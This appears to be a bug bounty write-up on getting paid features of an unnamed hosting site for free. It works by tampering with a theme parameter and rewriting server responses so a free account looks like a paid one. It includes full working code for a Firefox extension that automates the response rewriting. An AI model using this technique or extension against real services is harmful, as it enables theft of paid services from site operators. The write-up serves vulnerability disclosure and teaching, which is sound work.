Upgrade plan from Free to Paid via Response Manipulation

Bug Bounty Finding

Summary:

I found this while testing on a target let’s call it redacted.com because the report is Unresolved.

As a normal site that provides services it has (free and paid) services. To be able to use the paid services you have to subscribe to a paid plan. I was able to bypass this and use the site as a paid user.

Indicators:

Let’s suppose that our target is a web hosting target that give you the ability to change the theme of your hosted website.

Some themes are free and others are paid(Locked and when you click them a pop up shows asking you to pay).

Now, while changing between to free themes that’s was the request :

 PUT /api/v1/change/{accountid}
...

theme=Free-Theme

Free-Theme here was just the name of the Free Theme that I just picked to change to , Simply I changed the name to a name of a paid theme and The change toke place

💡 At this point I just reported those findings and went for more, What happened is just an indicator that the validation process is being done on the client side.

Emanuel Lasker — 'When you see a good move, look for a better one’

I started digging on the js files for anything that might help and found some variables and functions like :

IsPaid , Usable(Feature_Name) , ... 

I just stopped this because it’s a static js files and it’s the same for every user,paid or not.

Finally,We used Burp comparer

I just needed to test this on a larger scale so I created a Paid User, And sent the response of the index page to the comparer and did the same thing with the free user.

Here’s what I got.

Features map:

I found a map with all the feature on the site as a key and it’s value was something like that :

 window.FeaturesMap = {"FeatureX" : true, "FeatureY": "Full_Access" ...}

This map had a lot of “false” and “Limited_Access” Flags for the free users.

 window.FeaturesMap = {"FeatureX" : false, "FeatureY": "Limited_Access" ...}

User Info:

The response contained some details about the user who requested this page. Like :

User = {"Name" : "FreeUser" , "Email" : "freeuser@mail.org" , "Plan" : "Free"}

The Plan variable was found more than 5 times in the response for the free user with the value “Free” , While for the paid user :

User = {"Name" : "PaidUser" , "Email" : "paiduser@mail.org" , "Plan" : "Paid"}

Exploitation:

I just intercepted the response of the free user and replaced every occurrence of “Free” to “paid”

and changed the values in The feature map from “False” To “True” and from “Limited_Access” to “Full_Access” and It Worked I was able to use the site as paid user.

What about more Impact and Fun!

I created a web browser extension that gets things done instead of me. It completes the response Manipulation for me. Here is the code :

Manifest.json

{

  "description": "Proof of Concept",
  "manifest_version": 2,
  "name": "**Manipulator**",
  "version": "1.0",
  "icons": {
    "48": "icong.svg"
  },

  "permissions": [
    "webRequest", "webRequestBlocking", "https://redacted.com/*"
  ],

  "background": {
    "scripts": ["**Manipulator**.js"]
  },

  "browser_specific_settings": {
    "gecko": {
      "strict_min_version": "57.0a1"
    }
  }

}

Manipulator.js

function listener(details) {
  let filter = browser.webRequest.filterResponseData(details.requestId);
  let decoder = new TextDecoder("utf-8");
  let encoder = new TextEncoder();

  filter.ondata = event => {

// Written in this form to bypass some issues related to json format.
    let features = {"FeatureX" : true, "FeatureY": "Full_Access"};

//The pro user Features Map
    let promap = "window.FeaturesMap = " + JSON.stringify(features) + ";" ;
    let str = decoder.decode(event.data, {stream: true});

    let freemap = /window\.FeaturesMap\s*=\s*\{.*\};/;
    str = str.replace(freemap, promap);

    str = str.replace(/free/g, "paid");

    filter.write(encoder.encode(str));

    filter.disconnect();
  }
  return {};
}
browser.webRequest.onBeforeRequest.addListener(
  listener,
  {urls: ["https://redacted.com/*"], types: ["main_frame"]},
  ["blocking"]
);

The Manifest.json file just calls the js code and gives the extension some permissions.

Manipulator.js:

  • It creates a new map which contains the pro user features and could be edited to get an access to many other features

  • Saved the full string in a variable called : promap

  • The regex matched for the old map in the response and then changes it to the paid map

  • The script also matches any “free” in the response and replace it with “paid”

Then we just added this to firefox and it worked.

Thanks for reading,

Last updated